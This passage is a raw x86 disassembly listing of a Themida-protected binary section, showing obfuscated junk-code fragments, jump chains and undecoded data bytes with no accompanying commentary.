		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7E7742B0h
		jmp	loc_554B9D
; ---------------------------------------------------------------------------
		db 0BEh, 84h, 77h
		dd 0C68152C1h, 2D4048EBh, 8102E6C1h, 0CA35EACEh, 7EEC13Bh
		dd 0EC81D6F7h, 4, 0BD242C89h, 4B3F4A55h, 100EAE9h, 240C8B00h
		dd 4C481h, 0EC810000h, 4, 0E9243C89h, 15AFh, 4C181h, 0BD550000h
		dd 4, 9533E9h
		db 0
; ---------------------------------------------------------------------------


loc_553159:				; CODE XREF: Themida_:0055D86Fj
		and	ecx, 70D67A34h
		xor	ecx, 40945004h
		add	ebx, ecx
		pop	ecx
		jmp	loc_564124
; ---------------------------------------------------------------------------
		db 50h,	54h, 58h
		dd 405h, 4C08300h, 5C240487h, 0E924048Bh, 54C7h, 6B1ABE56h
		dd 0BD553955h, 5FF86EFEh, 525DEE31h, 12032E9h
		db 0
; ---------------------------------------------------------------------------


loc_553199:				; CODE XREF: Themida_:0055D0D3j
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	5F19h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5547C7
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5577CD
; ---------------------------------------------------------------------------


loc_5531D8:				; CODE XREF: Themida_:00556C9Aj
		push	eax
		push	small 69E5h
		mov	[esp], bx
		mov	bl, 0E6h
		mov	al, bl
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_55FB60
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 83240489h, 8F5404ECh, 0BD552404h, 4,	4246C81h, 6A0759A4h
		dd 4246C01h, 4244481h, 6A0759A4h, 24048B5Dh, 504C483h
		dd 4, 4F2068h, 24348900h, 165606BEh, 75C6813Fh,	0C16D897Dh
		dd 0C68108E6h, 34953328h, 0E2A6F681h, 0CE81C9B4h, 11D720C8h
		dd 11E4AE9h, 4CC68100h,	0FF6DB91Ch, 83582434h, 0FF5604C4h
		dd 8B042474h, 0C4812434h, 4, 0FFCFB2E9h, 240489FFh, 2474FF55h
		dd 242C8B04h, 30C5E951h, 0CA870000h, 0CA31D1F7h, 0CA31D131h
		dd 0FFDA81E9h, 0FBBE56FFh, 6841ED3Eh, 6B5h, 0BB241C89h
		dd 113A7496h, 242C8B53h, 4C481h, 575B0000h, 0CB6D70BFh
		dd 66B85036h, 2D010D73h, 5C1277A1h, 1345B951h, 0F181043Ch
		dd 75423B52h, 2D59C831h, 0E410345Ch, 0E958C701h, 54AAh
		dd 74FF515Fh, 8F590424h, 248B2404h, 0E810E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5532EE:				; CODE XREF: Themida_:00550F30j
		or	dh, 0D9h
		sub	dh, 1
		not	dh
		push	eax
		jmp	loc_5575B5
; ---------------------------------------------------------------------------


loc_5532FC:				; CODE XREF: Themida_:0055646Cj
		push	ebp
		jmp	loc_552D3C
; ---------------------------------------------------------------------------
		dw 0FD89h
		dd 5F5DE889h, 0FFE249E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55330D:				; CODE XREF: Themida_:00563271j
		dec	edx
		add	edx, 0D38920C7h
		mov	ebx, edx
		pop	edx
		jmp	loc_55C1FA
; ---------------------------------------------------------------------------
		dd 72E9E389h, 830000FFh, 0C3304E9h, 240C3124h, 8B240C33h
		dd 39E92424h
		db 13h,	1, 0
; ---------------------------------------------------------------------------


loc_553337:				; CODE XREF: Themida_:0055A351j
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		jmp	loc_55ADF5
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 81E78924h, 4C7h, 4EF8300h, 0E9243C87h, 0DBB7h
dword_553370	dd 582434FFh, 134268h, 24348900h, 24348B54h, 4C481h, 77680000h
					; DATA XREF: Themida_:0054FEC8o
		dd 89000043h, 4BBA2414h, 0F76F4F4Eh, 4EC83DAh, 0B9240C89h
		dd 0FFFFFFFFh, 8359CA01h, 148904ECh, 2414F724h,	8124148Bh
		dd 4C4h, 47EA8100h, 816F4F4Eh, 276597EEh, 81D60163h, 276597C6h
		dd 0E13DE963h, 44E90000h, 0FFFFFFCBh, 2C8B2434h, 0C98E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5533DE:				; CODE XREF: Themida_:005530F0j
		sub	esp, 4
		mov	[esp], ecx
		push	4503h
		jmp	loc_55D02A
; ---------------------------------------------------------------------------


loc_5533F1:				; CODE XREF: Themida_:00561B7Ej
		pop	esp
		push	1CE5h
		mov	[esp], esi
		mov	esi, 2
		push	ebx
		jmp	loc_55C60C
; ---------------------------------------------------------------------------


loc_553405:				; CODE XREF: Themida_:00560698j
		mov	edx, 0B67A9AA5h
		push	eax
		mov	eax, 656C5C69h
		not	eax
		add	eax, 43A6125Fh
		neg	eax
		xor	eax, 6B55DB5h
		sub	eax, 0DCC7122Fh
		jmp	loc_562239
; ---------------------------------------------------------------------------


loc_553428:				; CODE XREF: Themida_:00562508j
		push	ebp
		jmp	loc_550895
; ---------------------------------------------------------------------------


loc_55342E:				; CODE XREF: Themida_:00563C87j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_551199
; ---------------------------------------------------------------------------
		db 81h
		dd 7A901F7h, 8BFE29E2h,	8957243Ch, 43BA52E7h, 0E937BE20h
		dd 87BAh
; ---------------------------------------------------------------------------


loc_55345C:				; CODE XREF: Themida_:00561BFDj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	ebp
		jmp	loc_564AE7
; ---------------------------------------------------------------------------
aXSSs		db ',X(ÈS³*éS»',0
		dw 3300h
		dd 3C31243Ch, 243C3324h, 24048F5Ch, 48B665Ch, 0E2895224h
		dd 3239E957h, 89660000h, 17E92404h, 8F00011Dh, 248B2404h
		dd 0C8B6624h, 4EC8124h,	89000000h, 0E389241Ch, 5F9068h
		dd 24348900h, 4BEh, 0A8BA5200h,	8174E02Ch, 0DE7275CAh
		dd 0B768503Bh, 0E96A1C3Fh, 43CEh, 0E9241C89h, 0C90Dh, 24048F5Ah
		dd 243C895Ch, 2BFh, 0E9FB0100h,	0A808h,	54CC68h, 240C8900h
		dd 8823E9h
		db 0
; ---------------------------------------------------------------------------


loc_553505:				; CODE XREF: Themida_:0055FE52j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_551C53
; ---------------------------------------------------------------------------


loc_553513:				; CODE XREF: Themida_:00554BB6j
		push	edi
		mov	edi, 2420DFD9h
		xor	eax, edi
		pop	edi
		jmp	loc_56169B
; ---------------------------------------------------------------------------
		db 0BBh, 48h, 23h
		dd 0DBF76C87h, 4FD8C381h, 0EB8164A9h, 0A0F42B94h, 0F8EB81h
		dd 0C181572Eh, 0B1D1F55h, 0F65CE9h
		db 0
; ---------------------------------------------------------------------------


loc_553545:				; CODE XREF: Themida_:005633E9j
		mov	[esp], edi
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5624CC
; ---------------------------------------------------------------------------
byte_553555	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FE80o
aXhi0		db 'Xhˆ0',0
		align 2
		dw 0C89h
aSE		db '$éìE',0
		align 2
		dw 5053h
		dd 0E788D488h, 0FB7DE9h, 0E9E95300h, 550000D0h,	0C5815D54h
		dd 4, 8704ED83h, 0E95C242Ch, 0FFFFC9C8h, 0E96DF180h, 9066h
dword_553594	dd 240C8B66h, 52E68956h, 7C73E9h ; DATA	XREF: Themida_:0054FE10o
		db 0
byte_5535A1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FE24o
		dd 4EC8324h, 68243C89h,	5FE0h, 24048F54h, 0B54FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5535B9:				; CODE XREF: Themida_:00561D19j
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5616E1
; ---------------------------------------------------------------------------
		dd 66240489h, 0ADB15152h, 0E980D1F6h, 20E18078h, 0E943E180h
		dd 0B643h
; ---------------------------------------------------------------------------


loc_5535F0:				; CODE XREF: Themida_:00560E32j
		sub	eax, edi
		add	eax, 22E64288h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55B954
; ---------------------------------------------------------------------------


loc_553605:				; CODE XREF: Themida_:00559E1Fj
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_5655E0
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0E0EBh
; ---------------------------------------------------------------------------


loc_553618:				; CODE XREF: Themida_:0055D6C9j
		mov	[esp], ecx
		mov	ecx, 1DD15AB4h
		mov	ebx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		not	ebx
		and	ebx, 58C3079Dh
		jmp	loc_55E68E
; ---------------------------------------------------------------------------


loc_553645:				; CODE XREF: Themida_:00557E0Ej
		add	ecx, 3D80B5E5h
		and	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552F30
; ---------------------------------------------------------------------------
		dd 51241489h, 48B15153h, 0C8BCF88h, 4C48324h, 521EF780h
		dd 0F588FE88h, 0CC25E9h
		db 0
byte_553675	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054FDB4o
		dd 6658669Dh, 9C240411h, 848DE9h, 8BEF0000h, 0C483240Ch
		dd 0DCCE904h, 89560001h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 70B9685Ch, 51E90000h, 8900004Bh, 56B02404h, 789868h
		dd 24048900h, 8B241CF6h, 0F3E92404h, 0BB00009Eh, 7E014C0Ah
		dd 0E95BDA01h, 0AF72h, 835AD789h, 0C78101EFh, 217605E9h
		dd 3ECF81h, 0EF8136C1h,	6B31A80h, 3FECC381h, 0FB290DB2h
		dd 3FECEB81h, 5E5F0DB2h, 8704C383h, 248B241Ch, 2434FF24h
		dd 0FFE073E9h, 0C805E9FFh, 525DFFFFh, 42474FFh,	24048F5Ah
		dd 5024248Bh, 405E089h,	2D000000h, 4, 31240433h, 4332404h
		dd 2D19E924h, 0E95A0000h, 0FCC4h, 0BD242C89h, 7F8804ECh
		dd 0F707EDC1h, 0FFED81DDh, 0C1FFFFFFh, 0C58105EDh, 6B37D25h
		dd 0D961F581h, 0E8292765h, 0FFD6C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553769:				; CODE XREF: Themida_:005557E8j
		xor	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	5EBEh
		jmp	loc_55C7F9
; ---------------------------------------------------------------------------


loc_55377C:				; CODE XREF: Themida_:00556EEDj
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	[edi+1Ch], ecx
		pop	ecx
		jmp	loc_55741E
; ---------------------------------------------------------------------------
		dd 700C681h, 0C601172Ch, 10A94E9h, 81E28900h, 4C2h, 4EA8300h
		dd 31241433h, 14332414h, 0A6685C24h, 89000028h,	0F4E92424h
		dd 0B9000025h, 4, 4244481h, 5ABB6608h, 95F9E9h,	24348900h
		dd 4BEh, 5EF20100h, 8B241487h, 66682424h, 89000053h, 0E989240Ch
		dd 0FFF224E9h, 82C181FFh, 89DE0324h, 0ECE959C8h, 4B000117h
		dd 0E907EBC1h, 0FE3Dh
; ---------------------------------------------------------------------------


loc_55380C:				; CODE XREF: Themida_:0055D443j
		pop	edx
		add	ch, dl
		sub	ch, 45h
		jmp	loc_55A880
; ---------------------------------------------------------------------------


loc_553817:				; CODE XREF: Themida_:0055FA27j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55D0EE
; ---------------------------------------------------------------------------


loc_553825:				; CODE XREF: Themida_:00559A1Fj
		add	eax, 1B072DDBh
		sub	eax, 5F151818h
		pop	ecx
		push	edi
		push	ecx
		jmp	loc_550172
; ---------------------------------------------------------------------------


loc_553837:				; CODE XREF: Themida_:0056221Bj
		mov	[esp], ebx
		pop	edi
		pop	ebx
		pop	ecx
		push	ecx
		push	ebp
		mov	ebp, 0B9BC6505h
		mov	ecx, ebp
		pop	ebp
		push	ecx
		pop	eax
		pop	ecx
		sub	eax, edi
		jmp	loc_561913
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0B8502434h, 38A45A48h, 0C104E0C1h, 0E94004E0h
		dd 0EE4Fh, 8B20840Fh, 0E9520000h, 0FFFFFF29h, 0C9E9E789h
		dd 8100009Bh, 0D5C693C1h, 0E410E922h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55388A:				; CODE XREF: Themida_:0056174Bj
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55C99A
; ---------------------------------------------------------------------------


loc_553896:				; CODE XREF: Themida_:005522D6j
		push	esp
		mov	ecx, [esp]
		jmp	loc_555861
; ---------------------------------------------------------------------------
		db 89h
		dd 1BE2434h, 29000000h,	0E2815EF2h, 1B7F32CBh, 7355F281h
		dd 0EC837C50h, 240C8904h, 3D0E42B9h, 59CA3127h,	148BD509h
		dd 4C48124h, 0E9000000h, 10B50h, 0E92DF180h, 0A9F1h, 0E3C280h
		dd 0E3EA80DAh, 52241C8Bh, 0C281E289h, 4, 8704C283h, 5C2414h
		dd 2434FFD0h, 8324148Bh, 0C48104C4h, 4,	652CD800h, 0C0D0B353h
		dd 0CBFE02E3h, 3C2068h,	24048900h, 0CC86DCB4h, 50E9D1F6h
		dd 29000053h, 164568F0h, 0C890000h, 9FBAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553936:				; CODE XREF: Themida_:00555D08j
		mov	esi, ebx
		jmp	loc_559657
; ---------------------------------------------------------------------------
aLSn		db '‹,$é­"',0
		dd 5DE90100h, 4C181h, 0C870000h, 3BD7E924h, 0D0290000h
		dd 0DF7AF705h, 24148B62h, 5E08950h, 4, 405h, 24048700h
		dd 512D5Ch
		db 0A0h, 74h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 0F8A127Bh
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_561F81
; ---------------------------------------------------------------------------
		dd 0F04A4B0h, 4EC8351h,	0D68FE9h, 4C48100h, 0E9000000h
		dd 0FD22h
; ---------------------------------------------------------------------------


loc_5539A8:				; CODE XREF: Themida_:0055200Ej
		mov	ch, 16h
		sub	bl, 6Eh
		add	bl, ch
		add	bl, 6Eh
		pop	ecx
		push	cx
		mov	cl, 41h
		jmp	loc_565447
; ---------------------------------------------------------------------------
dword_5539BC	dd 0E924048Bh, 0F5E7h	; DATA XREF: Themida_:0054FCA8o
dword_5539C4	dd 52D830ACh, 0E280E7B2h, 0D4C2802Ah, 6604E2C0h, 0E94B8768h
					; DATA XREF: Themida_:0054FCD4o
		dd 0FFFFD08Fh, 0FFC536E9h
		db 0FFh
byte_5539E1	db 66h,	8Fh, 2		; DATA XREF: Themida_:0054FEC4o
		dd 0FFC52EE9h, 45D5F7FFh, 0D9E9E5D1h, 0FE00004Bh, 4FF2CC0h
		dd 43B7538Ch, 0E7C0D7F6h, 0DCF78007h, 5BF800h, 505158C3h
		dd 0E58896B4h, 0E924048Bh, 0FFFFD4BFh, 4C481h, 89570000h
		dd 4C781E7h, 83000000h,	3C8704C7h, 0BD555C24h, 4, 10A9AE9h
		db 0
; ---------------------------------------------------------------------------


loc_553A39:				; CODE XREF: Themida_:0055534Cj
		mov	[esp], eax
		mov	eax, 5F616532h
		neg	eax
		inc	eax
		shl	eax, 4
		push	edx
		mov	edx, 5A45736h
		or	eax, edx
		pop	edx
		jmp	loc_5580A8
; ---------------------------------------------------------------------------
byte_553A55	db 64h,	8Fh, 2		; DATA XREF: Themida_:0054FCC8o
		dd 9335E9h, 0C896600h, 0E29E924h, 5E500001h, 81E68956h
		dd 4C6h, 4EE8300h, 0E9243487h, 0A403h
aN1Ha		db '­1Øh]',0           ; DATA XREF: Themida_:0054FDA8o
		align 4
		dd 1170FE9h, 240C8700h,	2EEC15Ch, 0F681EED1h, 0A8F6FEDh
		dd 36D6EE81h, 0ED8112F9h, 429309C7h, 0EE9F501h,	87000101h
		dd 895C240Ch, 18E9241Ch, 8B0000ABh, 0C481240Ch,	4, 0EBB2E9h
		dd 4C28100h, 87000000h,	335C2414h, 1C31241Ch, 241C3324h
		dd 0F15DE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553ADE:				; CODE XREF: Themida_:005514F3j
		not	ebx
		xor	ebx, 0A7AFBC52h
		xor	eax, ebx
		pop	ebx
		jmp	loc_55BB8A
; ---------------------------------------------------------------------------
		dw 1489h
aIISk		db '$ˆÊˆÓék%',0
		align 2


loc_553AFA:				; CODE XREF: Themida_:00564884j
		jz	loc_55E824
		push	eax
		jmp	loc_55AA02
; ---------------------------------------------------------------------------
aYh_		db 'YhÙ_',0
		align 4
		dd 89240C89h, 4C181E1h,	81000000h, 4C1h, 0EA8E900h, 0CABE0000h
		dd 0BB6EBB32h, 0A160C7BFh, 7AEE9h, 0D5874A00h, 4939F581h
		dd 0BA526E5Bh, 174440F5h, 814AD2F7h, 2E2AB6F2h,	5AD501BCh
		dd 0E95DE809h, 0D924h
; ---------------------------------------------------------------------------


loc_553B54:				; CODE XREF: Themida_:0055C817j
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_555C6F
; ---------------------------------------------------------------------------
		dd 4EC81h, 0A0E90000h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B6B:				; CODE XREF: Themida_:005590ADj
		mov	edi, 0E30780Bh
		push	eax
		jmp	loc_5542F9
; ---------------------------------------------------------------------------


loc_553B76:				; CODE XREF: Themida_:00551C58j
		push	edi
		push	ebx
		pop	edi
		pop	ebx
		or	edi, 5C5734FFh
		jmp	loc_55FEEF
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0D5h
		dd 8160076Ch, 0E5573CC1h, 0E9F9290Ch, 3294h, 0F681E6D1h
		dd 7D8C6D35h, 11F6814Eh, 8114A13Ch, 0F5687FF6h,	5EF1011Fh
		dd 8B240C87h, 2E92424h,	81FFFFE8h, 0C2098BE3h, 61C38133h
		dd 0F75FF417h, 0C1DBF7DBh, 0C38102E3h, 848CBF42h, 6E9DD29h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553BDB:				; CODE XREF: Themida_:0055270Ej
		pop	esi
		push	ebx
		mov	ebx, 52E93C4Fh
		neg	ebx
		jmp	loc_5591FA
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF241C89h, 8B042474h, 8951241Ch, 0A1BD55E1h, 0C1794C16h
		dd 0E58107E5h, 4EA41435h, 1004BA52h, 0D5310600h, 0FD2FE95Ah
		dd 0C281FFFFh, 758D76C2h, 5CEA815Dh, 10CBD05h, 5CC281CAh
		dd 560CBD05h, 0BB2A94BEh, 6EEC146h, 457BCE81h, 0EEC15B12h
		dd 0CAEE8106h, 1F36801h, 0C8B5EF2h, 0E6895624h,	4C681h
		dd 0D3E90000h, 0BB000057h, 644E3FD4h, 0D3F7DBF7h, 0BF67E9h
		db 0
; ---------------------------------------------------------------------------


loc_553C65:				; CODE XREF: Themida_:00558882j
		mov	eax, [esp]
		jmp	loc_554D9D
; ---------------------------------------------------------------------------
		db 42h,	0F7h, 0DAh
		dd 83FBEA81h, 0D3899C29h, 8BDF015Ah, 0C481241Ch, 4, 2BD55h
		dd 0EF010000h, 8B2434FFh, 0EDE9242Ch
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553C97:				; CODE XREF: Themida_:00562AFDj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	48055E2h
		pop	eax
		not	eax
		jmp	loc_558178
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 240C8B24h, 8104C483h, 902237F1h, 86E952F2h, 68FFFFEBh
		dd 18D8h, 83243489h, 8F5404ECh,	0BE562404h, 4, 4247401h
		dd 2434FF5Eh, 8324348Bh, 0AF6804C4h, 8900003Ah,	0E0892404h
		dd 405h, 4C08300h, 8E04E9h
		db 0
; ---------------------------------------------------------------------------


loc_553D01:				; CODE XREF: Themida_:00562742j
		push	476Bh
		jmp	loc_551E34
; ---------------------------------------------------------------------------


loc_553D0B:				; CODE XREF: Themida_:00552723j
		mov	ebx, 4
		jmp	loc_561BF2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C4h, 0BF575300h,	7E221D28h, 221D2CBBh, 5FFB317Eh
		dd 0FFC787E9h, 243481FFh, 73990311h, 68555258h,	0FD1370Dh
		dd 0E4E9515Dh, 0DEh, 0E3C058E3h, 0A7C38005h, 3CE9D3F6h
		dd 100002Eh, 8BB850DDh,	0E93CD51Eh, 10082h, 4EC815Ch, 89000000h
		dd 58542404h, 405h, 4E88300h, 31240433h, 4332404h, 2C895C24h
		dd 24BB5324h, 89000000h, 50535BDDh, 0FB7F3FB8h,	78F50D52h
		dd 39E91883h, 5600010Ah, 0BE10DFBEh, 9CC68103h,	0E97C4B00h
		dd 9E87h
; ---------------------------------------------------------------------------


loc_553DB4:				; CODE XREF: Themida_:005543F3j
		add	esi, ebp
		pop	ebp
		push	31D5h
		mov	[esp], ebx
		push	1A3Eh
		mov	[esp], edi
		jmp	loc_55D9E2
; ---------------------------------------------------------------------------


loc_553DCC:				; CODE XREF: Themida_:0055EA30j
		mov	[esp], edi
		jmp	loc_561D08
; ---------------------------------------------------------------------------
		dd 2C8BEB01h, 0DDE4E924h, 0EA810000h, 77D523DEh, 0B4E9CA01h
		dd 47000088h, 348B5756h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 81243C8Bh, 4C4h, 0D1D6F700h, 2EEC1EEh
		dd 80F68146h, 5511B6F3h, 0FF6A16BDh, 6951E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553E26:				; CODE XREF: Themida_:005580B3j
		mov	edx, 6C5E373Bh
		sub	ecx, edx
		pop	edx
		sub	ecx, eax
		push	edi
		mov	edi, 33BB7E37h
		push	ecx
		mov	ecx, 5D7937FEh
		and	ecx, 423E489Ah
		neg	ecx
		sub	ecx, 8B66C8ACh
		xor	edi, ecx
		jmp	loc_5575A2
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0A6h
		dd 89BCD49Fh, 241C8BDEh, 81595451h, 4C1h, 0C862E900h, 814A0000h
		dd 0FE2112F2h, 8BD189FEh, 80E92414h
		db 3, 1, 0
; ---------------------------------------------------------------------------


loc_553E7B:				; CODE XREF: Themida_:00564E34j
		not	edi
		xchg	eax, edi
		inc	eax
		push	esi
		jmp	loc_560EA9
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C2h
		dd 4, 0D47CE9h,	99EA8100h, 812C701Bh, 0A16F38EAh, 0AE1BE96Ah
		dd 1C890000h, 7B1DBB24h, 2E93083h, 81FFFFCEh, 8BD354C3h
		dd 5179E9D1h, 0EC810000h, 4, 0BA241489h, 435A3728h, 8102EAC1h
		dd 4ECh, 0F9C9E900h, 0F001FFFFh, 58C1015Eh, 4EC81h, 3C890000h
		dd 138F6824h, 3C8B279Fh, 7B0DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553EF2:				; CODE XREF: Themida_:0055C00Fj
		pop	edi
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], esi
		push	7EB60D96h
		jmp	loc_557A10
; ---------------------------------------------------------------------------


loc_553F09:				; CODE XREF: Themida_:0055B8EBj
		pop	eax
		add	esp, 4
		shr	edx, 4
		shr	edx, 3
		add	edx, 0FFFFFFFFh
		not	edx
		add	edx, 1
		xor	edx, 5FFA3769h
		add	esi, 1F4E69CFh
		sub	esi, edx
		sub	esi, 1F4E69CFh
		jmp	loc_554070
; ---------------------------------------------------------------------------


loc_553F34:				; CODE XREF: Themida_:0055D07Dj
		sub	esp, 4
		jmp	loc_559C31
; ---------------------------------------------------------------------------
		dd 52242C8Bh, 0ABE9E289h, 0E900010Ch, 0FFFFBFCBh, 4E9815Ah
		dd 87000000h, 895C240Ch, 5F54243Ch, 3AE95155h, 83000029h
		dd 895304C4h, 4C381E3h,	83000000h, 1C8704EBh, 3C895C24h
		dd 0F126E924h, 0C1290000h, 91E95658h, 590000E4h, 0FF2434FFh
		dd 0E95F2434h, 0FFFFFA84h
; ---------------------------------------------------------------------------


loc_553F94:				; CODE XREF: Themida_:005611F1j
		add	esp, 4
		jmp	loc_5585EB
; ---------------------------------------------------------------------------
		dd 7A569F05h, 4EC8363h,	53240489h, 93E95B58h, 2000006Dh
		dd 0ACEFE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553FB6:				; CODE XREF: Themida_:00558268j
		push	edx
		mov	edx, 4
		add	ebp, 0A120872h
		add	ebp, edx
		sub	ebp, 0A120872h
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	1174h
		jmp	loc_554555
; ---------------------------------------------------------------------------


loc_553FD9:				; CODE XREF: Themida_:00557313j
		push	0D892267Dh
		pop	eax
		xor	ebp, eax
		pop	eax
		xor	eax, ebp
		pop	ebp
		and	eax, 5B950E57h
		push	ecx
		mov	ecx, 0CA613AA5h
		add	eax, ecx
		pop	ecx
		sub	ecx, 2FB6E72h
		jmp	loc_55CD1F
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 4832404h, 34FF0424h,	0C8E95E24h, 1000106h, 5F04247Ch
		dd 83243C8Bh, 0EC8104C4h, 4, 0E9241489h, 0C0B2h, 4EB81h
		dd 0FF530000h, 5B042474h, 0FFD405E9h, 9CC83BFFh, 0FFBED6E9h
		dd 0E1C181FFh, 0E966192Ch, 0DDF6h, 5C243C87h, 2AA8E9h
		dd 242C8900h, 4BDh, 3004E900h, 0EF810000h, 73C2302Fh, 0E951C701h
		dd 59FBh
; ---------------------------------------------------------------------------


loc_554070:				; CODE XREF: Themida_:00553F2Fj
		pop	edx
		jmp	loc_561E99
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48304h, 2BE5652h, 0E9000000h, 7E57h
; ---------------------------------------------------------------------------


loc_554088:				; CODE XREF: Themida_:00560F0Ej
		mov	edx, 13074E0Dh
		or	edx, 421362CDh
		shr	edx, 4
		or	edx, 4E3C0A29h
		jmp	loc_5597CC
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0F6h
		dd 5A2E3863h, 3F03C181h, 34FF54E3h, 2434FF24h, 4C48358h
		dd 6804C483h, 6A66h, 0E9242C89h, 0FFFFDF0Eh, 5C240C33h
		dd 72B5E9h, 8E2C100h, 0CA81D2F7h, 3B475259h, 0F281D2F7h
		dd 0CB33E4D9h, 5737E9h
		db 0
byte_5540E9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FE34o
		dd 4EC8124h, 89000000h,	0E6892434h, 4C681h, 0DBE90000h
		dd 1FFFFEBh, 3C335AD7h,	243C3124h, 8B243C33h, 1C332424h
		dd 241C3124h, 0FFDE0FE9h, 0D3C781FFh, 1E0C80Fh,	0EA815FFAh
		dd 197E670Ch, 0C281F201h, 197E670Ch, 40C2EA81h,	9DE96027h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55413F:				; CODE XREF: Themida_:005567A7j
		inc	edx
		push	ebx
		mov	ebx, 2CCC655Ah
		add	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 65FEF29Fh
		xor	edx, edi
		pop	edi
		mov	edi, edx
		jmp	loc_564EEB
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 8904EC83h, 4BE2434h,	1000000h, 5E042474h, 4BF575Dh
		dd 1000000h, 2434FFFDh,	8B54535Fh, 0C483241Ch, 4BF5704h
		dd 1000000h, 6CE95FFBh,	8B000085h, 0C483242Ch, 0C1835D04h
		dd 74FF5102h, 0C8B0424h, 4C48324h, 5C24048Fh, 9C2424D3h
		dd 0FFBD66E9h, 0C6815BFFh, 75361DCAh, 0B0E9EE01h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5541BF:				; CODE XREF: Themida_:0055A4A6j
		add	esp, 4
		add	edi, eax
		jmp	loc_551912
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 45E95456h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5541D3:				; CODE XREF: Themida_:0055565Dj
		pop	eax
		pop	eax
		movzx	eax, al
		jmp	loc_557983
; ---------------------------------------------------------------------------
		db 5, 36h, 0EEh
		dd 0C509F480h, 0D5F74D58h, 825F581h, 0E9010900h, 0FFD841E9h
		dd 0C7815DFFh, 338F5E32h, 0FFDC62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554201:				; CODE XREF: Themida_:00556424j
		push	ebp
		jmp	loc_5530F5
; ---------------------------------------------------------------------------


loc_554207:				; CODE XREF: Themida_:00564FC1j
		xor	eax, 2FFB37B8h
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 0A8F43D8h
		and	eax, 72576C24h
